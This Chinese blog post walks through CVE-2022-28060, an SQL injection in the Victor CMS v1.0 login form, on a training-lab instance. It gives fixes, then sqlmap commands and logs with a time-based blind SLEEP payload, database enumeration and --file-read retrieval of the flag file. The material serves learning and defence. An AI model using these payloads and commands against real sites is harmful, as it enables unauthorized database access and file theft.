Victor CMS v1.0 SQL 注入(CVE-2022-28060)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: Victor CMS v1.0 SQL 注入(CVE-2022-28060)

前言

CVE-2022-28060 是 Victor CMS v1.0 中的一个SQL注入。该存在于 /includes/login.php 文件中的 user_name 参数。可以通过发送特制的 SQL 语句,利用这个执行未授权的数据库操作,从而访问或修改数据库中的敏感信息。

详细信息

  • 类型:SQL注入
  • 受影响的组件:Victor CMS v1.0
  • 途径:远程攻击者可以利用该,通过发送特制的请求来执行任意的 SQL 语句。
  • 严重性:高 (CVSS v3 基础分数:7.5)

解决方案

  • 使用准备好的语句:采用预编译的 SQL 语句或参数化查询来处理 SQL 请求。
  • 输入验证:对所有用户输入进行严格的验证和过滤,确保只接受符合预期格式的输入。
  • 最小权限原则:为数据库用户分配最低的权限,确保即使发生注入,也无法获得过多的权限

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:


实战演练:


提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。

场景涵盖Web安全、系统安全、网络安全、社工等多个领域。


复现:


用户可以通过平台对已知的安全进行复现,了解的产生原因、利用方法和修复措施。

通过实战操作,帮助用户掌握漏洞利用和防护的技能。


教学培训:


提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。

包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。


竞赛与评测:


定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。


资源共享:


平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。

用户可以在社区中分享经验和资源,互相交流和学习。


春秋云镜适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Victor CMS v1.0 是一个设计用于管理和发布网站内容的开源内容管理系统(CMS)。以下是关于Victor CMS v1.0 的主要特点和功能:

主要特点

  1. 内容管理
  • 提供用户友好的界面,支持创建、编辑和发布网站内容,包括文章、页面和多媒体文件。
  1. 用户管理
  • 允许管理员创建和管理用户账户,设定不同的权限和角色,如管理员和编辑。
  1. 主题和定制
  • 支持多种主题和模板,用户可以根据需求自定义网站的外观和布局。
  1. 多语言支持
  • 提供多语言功能,使得网站内容可以用多种语言呈现,满足全球用户的需求。
  1. SEO优化
  • 集成了搜索引擎优化(SEO)功能,帮助网站内容更容易被搜索引擎索引和检索。
  1. 安全性
  • 考虑了数据安全和用户认证,支持基本的访问控制和身份验证机制。

应用场景

Victor CMS v1.0 适用于小型企业、个人博客和社区网站,提供了一个简单而功能丰富的内容管理平台。用户可以利用其灵活的功能来构建和管理各种类型的网站,从而满足不同用户的需求。

开发和社区支持

作为开源项目,Victor CMS v1.0 提供了开放的开发环境和社区支持。用户可以访问其 GitHub 页面和相关社区论坛,获取技术支持、更新和定制建议。

总结

Victor CMS v1.0 是一个适用于各种网站项目的开源内容管理系统,通过其简单易用的界面和丰富的功能,为用户提供了创建和管理网站内容的便利。如果你对搭建个人网站或小型企业网站感兴趣,Victor CMS v1.0 可能是一个值得考虑的选择。

复现

打开

加载网页有点抽象,得往下滑才能找到登录框

随便输入数值然后抓包拦截

可以看到是 POST 的形式,复制数据包的值到 txt 文件中

先探测一波,发现 user_name 字段存在 SQL 注入

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 15:56:03 /2024-06-30/
 
[15:56:03] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:56:03] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:56:03] [INFO] testing connection to the target URL
[15:56:03] [INFO] testing if the target URL content is stable
[15:56:04] [INFO] target URL content is stable
[15:56:04] [INFO] testing if POST parameter 'user_name' is dynamic
[15:56:04] [WARNING] POST parameter 'user_name' does not appear to be dynamic
[15:56:04] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable
[15:56:04] [INFO] testing for SQL injection on POST parameter 'user_name'
[15:56:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:04] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:56:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:56:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:56:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:56:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:56:06] [INFO] testing 'Generic inline queries'
[15:56:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:56:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:56:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:56:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:56:28] [INFO] POST parameter 'user_name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:56:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:56:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[15:56:30] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[15:56:40] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[15:56:40] [INFO] checking if the injection point on POST parameter 'user_name' is a false positive
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:10] [INFO] the back-end DBMS is MySQL
[15:57:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[15:57:11] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'
 
[*] ending @ 15:57:11 /2024-06-30/

数据库

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:57:32 /2024-06-30/
[15:57:32] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:57:32] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:57:32] [INFO] resuming back-end DBMS 'mysql' 
[15:57:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:57:32] [INFO] fetching database names
[15:57:32] [INFO] fetching number of databases
[15:57:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)     
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:57:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[15:57:56] [INFO] retrieved: 
[15:58:06] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[16:00:09] [INFO] retrieved: mysql
[16:00:44] [INFO] retrieved: performance_schema
[16:02:46] [INFO] retrieved: php_cms
[16:03:51] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] php_cms
[*] sys

在 mysql 库中查找文件 flag

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch -D "mysql" --file-read "/flag"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 16:21:11 /2024-06-30/
 
[16:21:11] [INFO] parsing HTTP request from 'sqlmap.txt'
[16:21:11] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:21:11] [INFO] resuming back-end DBMS 'mysql' 
[16:21:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[16:21:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[16:21:11] [INFO] fingerprinting the back-end DBMS operating system
[16:21:14] [INFO] the back-end DBMS operating system is Linux
[16:21:14] [INFO] fetching file: '/flag'
[16:21:14] [INFO] retrieved: 
[16:21:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
6
[16:21:44] [INFO] adjusting time delay to 1 second due to good response times
66C61677B39623135393033642D313165642D343032632
 
D613232622D6434666537303065656330367D
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[16:27:51] [INFO] retrieved: 42
[16:27:59] [INFO] the local file '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag' and the remote file '/flag' have the same size (42 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag (same file)
 
[16:27:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'
 
[*] ending @ 16:27:59 /2024-06-30/

访问 flag

──(root㉿kali)-[/home/suc2es2]
└─# cat /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag
flag{9b15903d-11ed-402c-a22b-d4fe700eec06}                        

相关实践学习
基于ACK Serverless轻松部署企业级Stable Diffusion
本实验指导您在容器服务Serverless版(以下简称 ACK Serverless )中,通过Knative部署满足企业级弹性需求的Stable Diffusion服务。同时通过对该服务进行压测实验,体验ACK Serverless 弹性能力。
Kubernetes极速入门
Kubernetes(K8S)是Google在2014年发布的一个开源项目,用于自动化容器化应用程序的部署、扩展和管理。Kubernetes通常结合docker容器工作,并且整合多个运行着docker容器的主机集群。 本课程从Kubernetes的简介、功能、架构,集群的概念、工具及部署等各个方面进行了详细的讲解及展示,通过对本课程的学习,可以对Kubernetes有一个较为全面的认识,并初步掌握Kubernetes相关的安装部署及使用技巧。本课程由黑马程序员提供。   相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
135 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
72 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
123 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
48 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
52 3
|
3月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
93 6
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
52 5
|
5月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
71 0
|
5月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
71 0
|
5月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
65 0